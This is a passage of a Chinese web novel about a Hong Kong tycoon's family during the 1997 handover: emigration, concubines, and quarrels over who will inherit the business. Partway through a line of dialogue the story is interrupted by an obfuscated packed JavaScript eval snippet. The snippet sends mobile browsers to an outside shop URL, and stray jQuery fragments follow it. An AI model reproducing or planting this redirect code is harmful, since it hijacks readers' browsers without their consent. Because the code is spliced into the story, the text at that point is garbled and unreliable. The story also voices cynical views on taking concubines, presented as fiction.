江阿姨一双儿女带着孙子在回归前移民加拿大,她和五十多岁的丈夫老蒋留下来,丈夫是周家府邸看护兼司机。
男人这些日子要在家里住些日子,估计周家时常会有人过来看他,雪秀让江阿姨请多一个佣人来家里照顾。
回归临近,维多利亚港口码头,天天都是络延不绝往集装箱船舶装载的木箱。一辆又一辆的货车载着大大小小的木箱驶向维多利亚码头,有些真可谓是抛家舍业:能拿的都拿走,拿不了的,好端端的家具就是这样抛在楼下就不要了。
大大小小的木箱里装满了从香港纷涌而出移民出国的家什,似乎有一种不寻常的紧迫感。这些背井离乡漂洋过海移民去他国的香港人,从表情看,既没有趾高气扬,也没有垂头丧气。
回归前的这几年的香港,整个香港处于一种恐慌的状态,出国移民的风潮漫布香港社会的各个阶层,大家都以移民为时尚,彼此见面头一句话已由中国人传统的问话方式“吃了没有?”改为“移民了没有?”
有段时间,周振春一回家,江阿姨就忧心忡忡地缠着他问:
“先生,回归后到底会不会变呀?香港能够移民走的都走了。”
“我们说了‘五十年不变,五十年之后更加不会变了’。那么这之后再过五十年,就是不能变了。话说得这么清楚,你们怎么就不相信呢。”
周振春笑着说。
“我们害怕是:到了那一天,会不会把我们的财产充公?”
江阿姨还是很耽心地说。
“现在我们处于社会转型期,有些阵痛也符合历史规律,但是既然作为一项国策改革开放肯定下来,我们还是相信政府。改革开放快二十年了,再回到过去饥寒交迫的状态,是不可能的,这是人类社会发展的历史规律。”
周振春耐心地向江阿姨解释说。
“他们就是不信。香港人对我们一点信心都没有。”待江阿姨转身离去后,雪秀苦笑道。
“那些抛售的房产楼盘物业的,老蒋他们看好后,把资料传给我,定下来,你过去签字就是。”
周振春让雪秀代表自己全面负责香港的收购楼盘房产物业业务。自幼饱读古书的男人站在历史的角度,相信香港回归五十年不变,五十之后更加不能变的繁华。居于世界最高的香港房价,因为移民潮,房价一路狂跌,男人看准时机,大肆收购,赚得金钵满盆。
有人欢喜有人愁。随着回归的临近,在入境事务处大楼门口从黎明到深夜,办理移民的人们排着长队,他们每个人手里攥着厚厚的的资料袋,脸上写满了焦虑和期盼。
江阿姨告诉说,他们移民的加拿大,房价本来不贵,由于香港大批不断的新移民涌来,一时间个个抢着买房,把加拿大的房价一下“炒”高了。
这些纷涌而入的移民,等于在香港低价出售自己的房子,去加拿大高价再买贵的房。
令人可悲的是加拿大的经济一般,就业也难,一个职位大家抢,自相残杀,工资也降下来了,香港失去了个高职位高工资,在加拿大抢了个低职位低工资。
许多专业人士虽是全家移民,住不到一定时间又拿不到正式居留证,所以老婆孩子在那里等于是坐“移民监”,丈夫为了生活,舍不得香港的工作,要经常两边飞,成了名副其实的“空中飞人”。
夫妻远隔重洋,长期分开,家庭问题又来了,太太在那边红杏出墙,老公在这边另结新欢,东窗事发,一拍两散。电视报纸经常新闻报道那些明星名人,三天两头不断;那些上不了新闻消息的平民百姓,就不知有多少了。移民潮败了家庭,苦了孩子,几代人的家业,自残自毁,不知道耽误了多少代。
一些上了年纪的老人又乏人照料,失去亲情,只能送去养老院,一个个好好的家庭,由于对香港的回归判断失误,移民后许多家庭就是这样分崩离析了。
“他们只能可怜巴巴的望着维多利亚港,欲哭无泪。”
暴雨暂歇后的维多利亚港湾,浑蒙蒙海天一色,往返的船舶开着航行灯。
早餐时,孩子们围了一张圆桌子坐了下来,佣人开始把早餐一份一份送上来,替孩子们分好,最小的儿子诚子坐在山子对面。姐姐怡子坐在浩子身边,她负责照顾弟弟吃早餐。
中西结合的早餐:牛奶、包子、馒头、饺子、菜肉馅煎饼、杂粮米粥、苹果土司、龙虾、螃蟹薄饼、小公主蛋糕、鱼子酱……
“我想看书,就来香港。香港是我的天然粮仓。在这里可以阅读来自世界各地不同的文化书籍。”
周振春对孩子们说。
“我不想读书,我就想玩。”
备受宠爱的女儿,总是反驳父亲,而且还做出一副很腻烦的样子,
“爸爸总是读书读书,听得我耳朵都快冒烟了,再说就成了聋子了。”
女人看着男人,再看着女儿,撇起嘴一脸幸福地笑着:
“只有小棉袄才能管住你。”
“爸爸让你管到你十八岁。十八岁就把你嫁出去,让一个比爸爸厉害的男人好好管住你。”
男人高兴地笑着对女儿说。
“我不嫁,要嫁把这房子一起搬走。还有山下维多利亚的港湾。”
“这嫁妆也太厉害了。爸爸做不到。只能把你养在家里,陪你妈妈到老了。”
男人故意摆出一副严肃的面孔,逗女儿。
男人对子女的教育特别重视认真,没有一丝一毫的懈怠。男人自信家庭出身决定一个人的思维方式和视野上的宽窄。除非这个人的本身具有一定的天赋,通过后天的努力提升自己,否则他将一辈子沿袭着他父辈的生活状态过着胼手?足的日子。他们中的人大部分都会如此。
成功永远只属于那些后天极少数锲而不舍的奋斗者,和对生活保持有目标的人。
周振春在喻蓓父女绞尽脑汁隔天一个红头文件电报催促他上岗回大叶后,从部队就地转业后安置去一家街道办的民营陶瓷企业。
上面领导告诉他,这家二百几十人小型街道办的工厂连年亏损,已经不能正常生产,企业职工工资都是从银行贷款。由于内部管理混乱,通常人都会唯恐避之不及,正需要果敢部队的干部来管理。
周振春知道自己一生中需要做点事。也许是幼年时期祖父谆谆教诲要重整家业的诱导,让他铭记在心,他毫不犹豫地接手下来。
前任经理很高兴终于有人接手自己的烂摊子。交接班后,他告诉周振春说,每年从银行贷款是发放职工的基本生活费,并非上面领导所说的工资。
周振春不为所惧,经过一年的整顿,接手后的第二年开始让工厂恢复正常生产,第三年转亏为盈。
社会体制转型如火如荼,市场经济大潮席卷而来。企业重组时,周振春把公司承包下来,一年后收购转为自己的私有企业。
在时代巨变改革开放的进程中,周振春脱颖而出。这一年他创立万柯实业有限公司,第三年更名为万可集团实业有限公司。随着业务的扩展,公司涉足地产市场,并在同年在香港交易所上市,成为当地一家主导地位的大型集团企业。
随即而来周振春通过公司构建了一个庞大的商业帝国,旗下拥有多家上市公司,业务开始遍及全球多个国家和地区,涉及地产、水利电力、交通医疗、零售能源、文化产业等多个领域。
然而这一切仅仅只用了十余年的时间。
作为公司副董事长,主管财务的总经理喻蓓,她知道公司花费不菲在威尼斯举办画展,她判断这个女人肯定与自己丈夫有着不同寻常的关系。
花重金调查丈夫在外面养女人,调查人员告诉她,何穗住在旧金山一个年轻女人的家里,那儿有二个孩子,一个叫何思塘十二三岁的男孩子,是何穗的儿子,另一个三岁大的男孩子是年轻女人的儿子。
从调查人员寄来的照片看,雪秀认出了照片上年轻女人是苏姝,何穗的大女儿;至于那个十二三岁的孩子,长相酷似周家男人。
何穗生了个周家的儿子,雪秀也有所闻,即使没有人告诉她,这么多年消息会自然而然会传过去让她知道,雪秀和所有的人一样,相信何穗那个儿子是二堂哥周振实的。
现在住在旧金山年轻女人家里何穗的那个儿子生父不明,这时,通过调查人员传来的信息,喻蓓和柯家姐妹才真的相信坊间传言,思塘就是二堂哥周振实与何穗的儿子。
调查人员把何穗家庭成员,摸得一清二楚。
但没说明苏姝是周振春海外的妾室。大院长大精明过人的喻蓓,通过判断还是肯定是丈夫的妾室。她在电话里告诉了雪秀。
丈夫在国外养女人生孩子,对于他们这个阶层来说,是很寻常的事情。已经放弃管束丈夫的喻蓓,现在更多的是考虑家产继承人的问题,她知道丈夫在外面养女人也可以把她们的孩子当作反击的武器,这是富豪家庭司空见惯的事情。
作为大院里的女人,成日沉浸在商业圈财富堆里的周家大太太喻蓓,心知肚明。
自从十二年前牛家塆大团圆与雪秀分手,喻蓓与雪秀无任何来往,俩人也没再见面过。现在自己要打破僵局,主动去联系雪秀,为自己也为自己以后子女生活的安宁。
喻蓓对丈夫外面的女人惴惴不安,现在唯一只能求助于雪秀。雪秀的人品,无懈可击。也许,是自己该低头向雪秀道歉认错的时候了。她拨通了雪秀的电话:
“雪秀,你要是同意的话,我想去见你,以妹妹的身份,怎么样?”
喻蓓的求助,虽然放下了身段,但是一开口还是带着咄咄逼人的语气。
“我倒无所谓。你愿意的话,就请便吧。”
“要是他外面的女人都有你这样体谅别人的胸怀,我也不会这么累了自己。”
“蓓蓓,你得把这些事都咽到肚子里。春子说你很辛苦,我又不能帮他,我看电视上的你很憔悴,怎么瘦成那个样子呢?”
“公司里的人背着我说我是‘两脚圆规’。”
那头电话里叹息一声,再说,
“你说我这么努力,和他一起赚这么多钱,挣得的家产,要是他全给了外面其他的女人,我能甘心吗?我管不了他,你也管不了他,我就担心他万一让外面的女人迷了心窍,把公司继承人给了他们的孩子,我这大半辈子不就白努力了吗?”
那头电话里屏声静气在听她说,喻蓓顿了顿再道,
“可他倒好,心宽体胖的,也不跟我讨论这个问题。虽说我也相信他会考虑到合适的人选,但是不管怎样,我想让你的孩子来继承,你说好吧……”
喻蓓态度的大转变,雪秀并不感到意外。
作为家族长子修子放弃自己作为继承人,按世俗标准,只有从自己三个儿子当中选择。
喻蓓的态度是善意的,更不存在有丝毫的恶意。
这个女人终极一生,都是为周家作嫁衣裳:生儿育女,呕心沥血和丈夫一起打拼,终于创造出巨额的财富有了自己富甲天下的家业,可是到头来,儿子的一个小别扭,自己也不过是竹篮打水一场空。
自从来香港之后,雪秀自己和十年前比起来几乎也没什么变化:还是白皙而颀长的脖颈,还是同她的脖颈很般配的浑圆的肩膀,体态要比她的实际年龄显得年轻不少。
也许是医生职业操守,让她更会懂得如何保养自己。事实上,女人来香港之后,男人给她开了一家小型医院,这样做的目的,仅仅只是为了不荒废自己的医学知识。也可以更好地照顾自己和家人的身体健康。
现在周振春在家,雪秀想确认前些日子喻蓓在电话里所说。她掏出手机拨通了何穗的电话,闲聊几句后,她犹豫了片刻,还是鼓起勇气对着电话问:
“何姐,你儿子在旧金山……”
“雪秀,我不想与你谈论这个话题。如果你还当我是姐姐的话。”
那边嘎嗒一声就把电话挂了。
雪秀知道,要想从周振春口中确认下来,那是不可能的事情。看到男人与儿女玩得正欢,她走了过去,还是忍不住告诉男人说:
“刚才我给何姐打了个电话,我话还没说完,她就把我的电话挂了。”
“你干嘛要打电话给她?”
“我想问清楚些。”
“蓓蓓不是告诉你了吧?”
“她只是说,”
女人看了一眼孩子,拉着男人走开两步,再说,“她只是说你在旧金山养了一个年轻的女人,还生了个孩子,跟何穗的那个儿子一起。”
“她怎么才告诉你这么一点点?”
“你告诉我好吗?”
“让她告诉你吧。”
男人不悦,女人松开了抓住男人胳膊的手。她知道自己如果像蓓蓓那样执着男人腻烦的问题,最终也会是那个女人被冷落的下场。
灯光璀璨的大城市迅速远去,静悄悄的住宅区和黑黢黢的森林不断闪过,两辆黑色的豪华小轿车从山下驶入半山周家府邸。
提前几天从大叶过来观看盛况空前香港回归交接仪式的雨秀,大雨暂歇中特意由驻香港分公司来到妹妹的府邸。
她带来的消息,让妹妹雪秀难过好一阵子。
“诗筠是家乡女子,有时候可以弄几碟家乡味道的小菜,说说家乡话,给春子在繁忙的工作中松弛一下紧绷的神经。”
太太喻蓓对诗筠跟随周振春出入提出质疑时,雨秀把话说得很直白。
喻蓓一言不语,她知道雨秀一直对她心存芥蒂,即使有意把女孩放在丈夫身边,也会是这么搪塞她的。
何况自己对丈夫纳妾,已经无能为力了。
现在雨秀把这些话又原原本本地反复说给妹妹雪秀听。
姑娘生得虽无十分姿色,却也有动人,且仪容不俗,行为豁达,随分从时。不比苏姝未入社会便入了周邸的些许孤高自许,目无下尘。
一年前何穗带她去大叶万柯公司,诗筠还是选择跟着雨秀当秘书。
女人的心被刺伤了,但她仍是爱他的。她记得有人曾对她说过,一个男人可以同时爱上几个女人,而一个女人很难做到同时爱上几个男人。但是她想不起来这句话是谁对她说的?抑或是书上的一句话?
女人是委屈的,她矢志不渝地爱着这个男人,尽管这个男人弃她另娶,她仍痴心不改,一心装着只有这一个男人。
几天前喻蓓电话里告诉他,男人有女人在旧金山,现在姐姐又要帮他在外面养女人。
叫她怎么能不感伤?难道是真的应了那句“萍水姻缘成一梦,桃花颜色亦千秋”?
她也想起男人的祖父和男人一样称“老爷爷”的老员外,在过去一户六门妻妾成群的家庭。现在看起来,男人会如祖父般妻妾成群。
女人只有默默承受着,现在她是四个子女的母亲。
“姐姐,你变了,变坏了……”
女人泪眼婆娑,挥着小拳头,像是捶自己又恨又爱的男人一样,使劲地捶着姐姐。尽管她已释怀,但还是让自己把愤怒的情绪发泄出来,
“……她管不了他,我更加管不了他……随你们怎么做,我现在好好照顾孩子……只是我没想到姐姐会帮他找女人。”
妹妹在抽抽噎噎的哭泣中对姐姐抱怨着。
报复女人最好的手段就是:源源不断给她男人输送女人,让女人饱受摧残和侮辱,除非她放弃自己作为一个女人的存在。
男人不会长久喜爱同一个女人的个性,也不会长时间动情于同一个女人的容貌美和□□美。对于他们来说,正像月亮总是同一个月亮一样,“女人”也永远只是同一个“女人”。
男人和再心仪的女人同衾共枕,听其微息,嗅其衣香,触其鬓发,亲其肌肤,时间一长一旦生腻,这些都消逝得无影无踪。
他们的感觉,再完美的女人没有谁的一生会拥有长时间的完美。
这二十几年来,身为跨国集团大公司主管人事的副董事长的雨秀,见惯了富贵阶层的骄奢淫逸,深谙其理。
“需要一个健康活泼、心地纯真干干净净又能照顾春子的饮食习惯和生活方式的姑娘,诗筠是最合适的了。”
“女人依靠男人的成就,享受优裕的生活,男人依靠女人的生育能力,为自己繁衍后代。这是实用主义的体现。不然那么多财富怎么办
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199097|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?总不能拿去充公吧。”
维多利亚的山腰周家府邸,姐姐雨秀向囿于家庭生活的妹妹灌输男女之间的人生信条。
“我跟姐姐疏远了,也是,冬子都谈女朋友了,姐妹们各自有了自己的家,各顾各的,也是理所当然吧。山子要送去足球培训班,我总不能为了陪姐姐吃早餐,不去送山子吧。”
女人说出这一段话后,在持续的暴雨声里,姐妹俩沉獸起来,静静看着邮轮公司送来的邮轮模型。
“姐姐是体贴妹夫吗?”
沉默良久,雪秀小心翼翼地问姐姐。
“是。还有主要是让蓓蓓以后不要老是针对你一个人。”
雨秀的语气中,有着显然的对妹妹形同隐匿于世的同情。她继续说,
“现在春子以你的名字命名邮轮就是向天下公开,你们是合法夫妻,让大家知道你雪秀是春子的夫人。蓓蓓肯定又会闹起来,那么诗筠成了春子门户后,她就会把盯着你的精力和心思转移到诗筠身上。”
“我倒喜欢这样,过着隐姓埋名的生活。”
“可是,你想过山子怡子明子诚子吗?你可以隐姓埋名一辈子,孩子们难道也要隐姓埋名一辈子吗?你四个孩子,蓓蓓俩个,修子又不肯接班,以后公司还不是你的。”
“这就是你给春子找女人的理由?”
雪秀满腹怨恨地恼怒问姐姐。
她还是难以接受姐姐替春子找诗筠。自从那年寒假入住周家后,一直过着优裕生活的雪秀,对财富也没有什么概念,没想过让自己三个儿子接父亲的班,但男人大儿子修子不愿接班,只有从自己三个儿子选接班人了。
一直足不出户的雪秀,觉得自己身边的人,像姐姐变化太大了,与之前相比简直判若两人。难道真的是自己心胸狭隘孤陋寡闻吗?
她到现在还不清楚与何穗熟悉的旧金山那个女人到底是不是苏姝。现在姐姐又替男人找个诗筠的女人,让她心里一波未平又一波又起。
男人对她的感情毋容置疑。事实上,婚后男人一直把女人这里当成家,几乎忽略了蓓蓓那边还有一个家的存在,有时候连女人也不得不提醒男人,把来这家里的时间匀出一些给蓓蓓。
女人和男人经历过十几年的婚姻生活,对之前男人的怨恨早己烟消云散,他们育有四个子女,就足以证明俩人情深笃爱。
摊开报纸,报纸上满版都是回归报道消息。
好些消息隐约闻到血与火战争的气息。许多西方媒体做出的种种凶险预言。
这时候,静静的房间里响起了雪秀轻轻的哭泣声。
“有了邮轮,以后你得多岀去走走看看,见识见识。”雨秀抬起头看着窗外狂风暴雨对掩面而泣的妹妹说。
“姐是说我心胸狭窄吧?要是姐夫一而再再而三纳妾,你是什么心情?”
妹妹反问姐姐。雨秀的话并不能安慰到雪秀,反而让妹妹更加恼火。
“要是林子像春子一样,有这么大的本事,我生了四个孩子,我就负责在家带孩子,有空就去看看外面的世界,拓宽眼界。我会让林子像老爷爷一样,娶六门妻室,生二十几个孩子,让冬子惠子有那么多兄弟姐妹,就像老爷爷说的,我们不是什么皇亲贵戚,不会去争权夺利簒取皇位,只图以后他们兄妹俩万一有什么事,去兄弟姐妹家,至少还可以讨得到一碗饭吃,有间茅屋住。”
雨秀语重心长地看着妹妹说。
“好像爸也这么说过,说是当年斗地主土改几个爷爷伯伯逃难的时候。”
“是。冬子满二岁时,我不想再生了,那年回家,在饭桌上,爸就是这么劝我再生了惠子的。你也坐在我身边。”
“理是这个理儿,可我还是有点难过。”
雪秀用纸巾揩拭脸上的泪水,低声说。
“过些日子,看开就行。之前那么多的坎,你不是都过来了吗?”雨秀笑着说,她用纸巾替妹妹揩去脸上的泪水。
帮妹妹解开心结,雨秀的心里有了种喜悦,尽管这样的喜悦有点儿不厚道,但很合时宜。
窗外哗哗泻下的滂沱大雨,在维多利亚上空形成一幕又一幕厚积的雨雾。
“姐今晚住家里吧?不要走了。”
雪秀像是从哭泣中醒过来,抬起头问雨秀。
“那我跟诗筠说一下,让她告诉其他人先回,从明天开始,我就让诗筠跟着春子。”
雨秀说着掏出手机,打电话告诉秘书诗筠,让她单独留下,其他随行人员先回公寓。
在满天弥布的雨雾中,这个港湾,停泊了多少的船舶?载了多少人背井离乡远涉重洋?远走的他乡,是让人心生向往?还是迫于现实生活中的无奈?
男人的这种超脱,留给自己身边的这俩个女人却是满腹的愤懑和无奈。
为了家族的利益和子女的前程,不得不忍气吞声默默承受下来。最终这俩个可怜的女人终于达成了共识和解。这也许是男人的高明之处。
“你看那些富豪榜上,谁不是几门妻室的?人家还抱着三妻四妻的孩子去国会上开会接受采访。”雨秀这么劝导妹妹。
“我也不知道他有多少孩子,几个家。我也懒得问他。就是问他,他也不会告诉我。”
“对于像春子这些优秀的人,一些所谓的法律条文或者社会规则束缚他们是不存在的,或者说是不恰当的。需要什么样的法律条文和什么样的社会规则,他们自己会容易发现的。我把这本书带来了,你放在家里慢慢看。”
“他是不是对贴上来的女人来者不拒?”
话一出口,妹妹感到对姐姐有点唐突。
“如果春子要是这样的话,这十多年来,就不会守着你雪秀一个女人了。”
雨秀认真地回答。姐姐说的是实话,女人的心一下缓解了许多。
从一瞬的恍惚中清醒过来之后,女人大概哭够了,双颊泛红,她看着姐姐说:
“你住下来吧。陪我说说话。”
妹妹眼睛里满含倾诉之情,似乎想要凑得离姐姐更近些。
“噢?好吧。”
雨秀故意迟疑了一下,也许被妹妹状是可怜又可爱的样子感动到,答应下来。
“我们有十年没在一起住了。”
妹妹的眼睛有点湿润了,大概心里涌起了诸多感慨。
“有人来香港说是背井离乡。我希望我老周家的人不要有这种心态。可以把这当作是自己的家,也可以把这当作是人生旅途中一个舒适的驿站。有句话说得好,‘心安便是归处’。既是家也是驿站,只要你们喜欢,世界范围内,都可以这样做。”
姐姐还是开导妹妹说。
在用情上,雪秀比蓓蓓高明。也许之前有过被男人抛弃的磨练,让女人懂得逆来顺受,
尽管女人有时也对男人会冷嘲或戏谑,但始终不改温柔以待男人。
见到雪秀,诗筠局促不安,不由得往沙发里边挪动身子,显得特别笨拙。见姑娘这份可怜状,雪秀的心一下软了下来。
在这个可怜的女人的世界里,没有手段与阴谋,只有善良与爱。
“他是个恋旧的人。这样的人,故土情怀很深,自然离不开家乡的女人。你虽然不是乌浟女人,可蒙县离乌浟有多远呢?吃一样口味的饭菜,讲同一种方言。”
雪秀柔声柔气地对姑娘说,连她自己都觉得不可思议对姑娘说出这种话,
“尽心侍候他吧。有小孩了告诉我。”
“谢谢姐。”
“这是我一点心意。”
雪秀拿出一枚钻戒,拉过姑娘的手,替她戴上。
“这钻戒太贵重了。我怎受得起?”
“我问过他,他说好。”
“既然他说好,那我就收下了。”
“他说,从你身上,看到当年的我:健康、开朗、善良,还有美丽。”
姑娘红彤彤的脸,雪秀以姐姐的身份还在开导她说,
“他的这句话,让我想要是我再年轻二十岁,就轮不到你跟在他身边了。冬塘好多人以为我去冬湖跳湖了,我才不会有那么蠢呢。现在想起来,那些年我和他在冬塘一起的时候,真是梦里般,一晃就二十多年了。
我已经是老太太了。你再过几年也会和我一样。”
“我相信他。”
腆腆的姑娘坚定地点了点头。
雪秀还是忍不住叮嘱诗筠说:
“你要记住今晚的雨夜,姐姐对你说过的话:消受这么一个优秀的男人,除了有非常优良的天性和不畏天的勇气之外,更需要有超凡的智慧。这不光是你和他之间,你是和整个周家、喻家、柯家三大家族的愽奕。
“很不想这么说,但又不得不说。因为你太年轻。我不得不提醒你。总之一句话:生活如意,心里阳光,在那里也是人间天堂。”
这个从乌浟西山入职万柯公司的女人,在大姐雨秀一手策划下,从当年毕业的乌浟西山地区女大学生挑选出来,并最终成为年轻男人的女人,而且得到他心爱的太太的认可。
海湾与万物都不是永恒不变的,就像牛姥山的冬湖、冬河的峻峰山,十几万年可能还是一片浩瀚的海洋。
十八岁的修子在加州上大学,他的职业导向是大学攻读遗传基因工程专业。与他同一学校有秋华的女儿江德辰振岩温婉仪的女儿周思欣。他们三人年纪相仿,周振春把三个孩子放在同一地同一学校上学,既方便孩子在校结伴而行也方便三家父母轮流照顾。
周家其他孩子,也是按年龄兴趣和专业教育放在同一地择校培养。比这几个孩子大几岁,早已成年的维子惠子,分别在顶尖一流的名牌大学攻读自己的专业课程,俩人还有一年毕业,他们都是万可公司的后备力量。
最早的侄儿雨秀的儿子周思冬、冬子大学己经毕业三年,在万柯公司担任副董事长,主管工程项目。
“??旗息鼓吧,我快要死了。”
倍受丈夫冷落的喻蓓,向丈夫发出央求。
现在他们夫妻关系早已名存实亡,之间无任何牵绊,唯一连接他们关系只有一对子女。
丈夫数月甚至半年的一次回家,也都是和儿子女儿一起。
“我嫁给你没错,你娶我也是对的,错就错在你那么年轻,在家就有一个顽固的女人这么犟守着你,现在她也是对的,终于还是把你从我身边夺回去了。”
对人生充满着消极的女人,却对财富的攫取是激奋昂扬的。获悉雪秀在香港生了二胎怡子,女人对丈夫说:
“让你的雪秀妹妹不要再生了,已经平起平坐了。”
“她比你大,不会再生了。”男人淡然地说。
“如果她再生,我就把你阄掉。”
女人愤然地说完,还是禁不住卟哧笑了一声。
“妈,爸一回家就吵,你这么就是把爸赶走呀!”修子理智劝母亲。
“儿子,你是帮妈还是帮你父亲?”
“我帮爸,也帮妈。你们谁要是对谁不好,我就得说岀来。我感觉妈你这么问是愚蠢之极。”
已经成年的儿子一向对母亲的心弱口强特别反敢。
“修子,你要帮爸,你的专业再可以考虑吗?”父亲借此机会提醒儿子。
“是呀,修子,这个事,你还是听爸妈的。”
丈夫这么问儿子,女人立马转变态度,语气瞬间软了下来。
关系到家庭切身利益时,夫妻俩心心相印。
“让苗子去接您的班吧。再说冬子哥也大不了我几岁。”儿子不以为然。
“冬子毕竟是堂兄,你才是你爸的儿子呀。苗子是女孩子,怎能接你爸的班呢?”
母亲恳切地对儿子说。母亲这句话,向不屑于财富的儿子说过很多遍。如今已经是向儿子到了恳求的地步。
儿子不肯继承父亲的家业,对于争强好胜的母亲来说,这十几年来的打拼,获得的巨额的财富将付诸东流,自己的人生也就变得毫无意义。
“那就让爸生多几个儿子吧。接班的事,别想到我。我对从商没有一点兴趣,甚至还很厌恶。我也不会要你们一分钱,我要自己养自己。这是我的信仰。”
儿子执拗劲儿既像严肃的父亲也像倔强的母亲,完全遗传了夫妻俩争强好胜的基因。
“好了,爸知道了。”
父亲有些无奈地对儿子说,
“但是爸不得不告诉你,让你知道,不是什么人都可以接你爸的班的。目前来看,只有冬子和你行。如果你确实不愿意,有一点,你得答应老爸,尽早结婚,让你的儿子准备以后去接班。”
父亲走到儿子跟前,把手放在只有成年男人才有宽厚的儿子肩膀上,语重心长地说,
“你老爸,只能顾得上三代,三代过后就由你们听天由命了。”
“修子来香港,让他住家里来吧?”
女人很想学识渊博男人的大儿子来香港后,能够住到家里来,多陪她自已的孩子。
“那要他愿意才行啊。”男人皱起了眉头。
“个个都说修子活脱脱的很像父亲,不与人交往,口紧,习惯性长考,自己一旦认定的事情,谁也不能阻止。”
“我就担心他会太累。”
“是啊,我看他很累。总是呆在屋里头看书,就像当初你在老爷爷书屋里一样,要拖你岀来晒太阳。”
“他研究的是一项伟大的工程,遗传工程,以后掌控着人类的生存和发展,向宇宙深处走近。”
“这么说,修子的志向比他父亲强多了。”
修子来家过几次,陪弟弟妺妹玩半天一天,晚上还是坚持回万柯公寓住,这让雪秀又心疼又伤心。
修子没有说出原因,雪秀也不好开口问。
女人的三个大孩子都很喜欢和修子玩。修子会带他们在庭院附近的树林里,告诉诸如:爆仗竹、猫尾木、象腿树、酒瓶椰……一些植物的名称和生长习性。
一如少年时的父亲,这个来自同父异母的大哥哥,把弟弟妹妹照顾得很周全。
女人大儿子山子,却有点像母亲大大咧咧的性格。
修子尊称女人“二姨”。“二姨”成了周家上下不分辈份大小对雪秀亲切的昵称。
也看出女人嬴得了周家的尊重。
良好的家教来自于父母自身的教养和智慧。‘孟母三迁’,就是这个道理。干净的土壤,长善良的灵魂。男人向女人和孩子们阐述这个道理。就教育孩子成长问题这件事上,女人比蓓蓓略有差距。
“修子说以后人类的寿命延长三百岁,就可以研究向宇宙探索生命奥秘了。我想浩瀚的宇宙中,那儿肯定有和我们人类一样的人,他们或许居住在一个星球,几个星球上,他们比我们地球上的人类更强大更聪明更富有智慧,当然也更善良。我相信古人所说的天堂在宇宙中一定存在。”
“我也相信!那么就是西游记里描述的一样,只是没有妖怪只有神仙。”
一向对美好事物充满着幻想的女人附和着男人说。
女人踮起脚尖,伸长了身体,往屋里的女儿看去。女人尽管已是四个孩子的母亲,还是一副天真单纯的模样。
女儿长着一张蛮可爱的圆圆的脸蛋,像是少女时代雪秀的复制品,身材颀长却遗传了父亲周振春。
父亲把女儿宠成了一个小公主,诸事几乎对女儿有求必应。
“怡子,你的芭比娃娃圣诞公主小仙女,一个屋子都放不下了,以后逛街,可以不再买吧?”
父亲一边说,一边看着女儿,“咱们去看看儿童读物吧?”
“我就知道你要我去买书?我书够多了,几个书包都装不下了,看着眼睛忙不过来。”
“可以把书当作玩具嘛,边看边玩。”
“拜托你,不要给女儿说什么书当玩具这些话了。”
女人忍不住责备男人道。
“山子怎不像你?我看他有点像二堂哥?”
女人说到他们的大儿子。
“不要这么说孩子。山子才十岁吧。”
男人制止女人,再说,
“即使像二堂哥,也不是太差吧。”
“那还不是全靠爸。”
“难道山子爸比爷爷差吗?”
“你还真把我问倒了。”
“孩子各有天成,就是一个手掌也是五指参差不齐。只要孩子德行没问题,其他都不重要。再也不要在孩子们面前互相攀比。”
“也就是跟你这个作父亲的说嘛。”
女人显得有点儿嗔恼。
“诚实和勤勉,应该成为一个具有优秀品质的人永久的伴侣。这你得让孩子们知道。”
男人对女人说。
14. 第十四章
房间的几张桌子拼成一张大的台面,置于屋子正中央,靠墙堆满了新近刚拉来的木板木条,几盏大瓦数的灯泡把屋里照得通明。
到处的锤子砸下去的叮当声和锯刀吱吱嘎嘎锯木的声音,充斥着整个室内。
这些从万柯公司派来的能工巧匠,对画作进行牢固细致的包装整理,然后远涉重洋,参加威尼斯国际画展。
“云子,出去了,见了春子,只能称他‘先生’了。”女人受宠若惊,很高兴地说。
“何姐,你还是可以管我二哥叫‘春子’嘛。”
云子不以为然地说。他解开敞开两粒扣子的怀,露出里面红白相间的条纹背心。
“哪太不像话了。你何姐如果连这一点见识都没有,那真的是很没教养了。”
女人表示庄重地说。
看着为自己忙碌的工作人员,女人欣喜的心情难以言喻,深藏对年轻男人的情感表露无遗,一种平生最幸福的时刻就是这么轻而易举地降临在自己身上。
女人的手扶在已经包装好的木箱子上,手指尖有点儿抖动。她情不自禁地说:
“你们对我好得无可挑剔。”
女人在此故意使用多人称“你们”来掩盖自己与年轻男人不可告人的关系,
“你二哥人中才俊,为人真诚,值得信赖,人品堪称完美。对我来说,能够得到你二哥的帮助,是最大的幸福。”
女人在年轻男人的弟弟面前,真实地表达出来自己对他的感激之情。
“你这算什么啊?祥子乃子也就是我二哥一起长大的伙伴,俩人全家都是我二哥弄出国了。乃子全家出国还是你让他打的电话的。”
单纯的云子,不以为然地说。他抬起脚把一截包装的木条踢到一边,再说,
“我二哥很辛苦呀,看起来比我大哥都老。要是和我爸走在一起,看背影,就和我爸一样那么老了,俩人都是满头白白发。可我二哥也才四十出头啊。”
云子很体谅他二哥说。
年轻男人的弟弟这么一说,女人也不好再说什么了,看着打包装忙碍的工作人员,到处响起叮当叮当砸钉子封木箱的声音,她想起年轻男人曾经对自己说过的话:与其一副愁眉苦脸落魄的样子示人,不如换一副清新明朗的笑容,给人留下开朗的性格,用不着去予人以悲天悯人的情怀。向阳而生,总有守得云开日出的时候。
这得具有对世事无常的深刻理解与细致入微的认识。
“你二哥最关心就是你。现在是你一家子。”
女人边说边走到刚才云子踢的那块木条旁,弯下身子捡起来,放在一堆乱七八糟的木料里。
“那也是。只要我家的事他都会管。我大哥大姐二姐他有时爱理不理的。我二姐当我们的面说他太偏心,他只是笑一下也不说什么。说多了我二姐是个话痨子,他就会拿本书看。我二姐抢他的书,他说冬花,我让大姐来骂你呢。”
云子今天也很高兴,陪女人唠叨个不停,
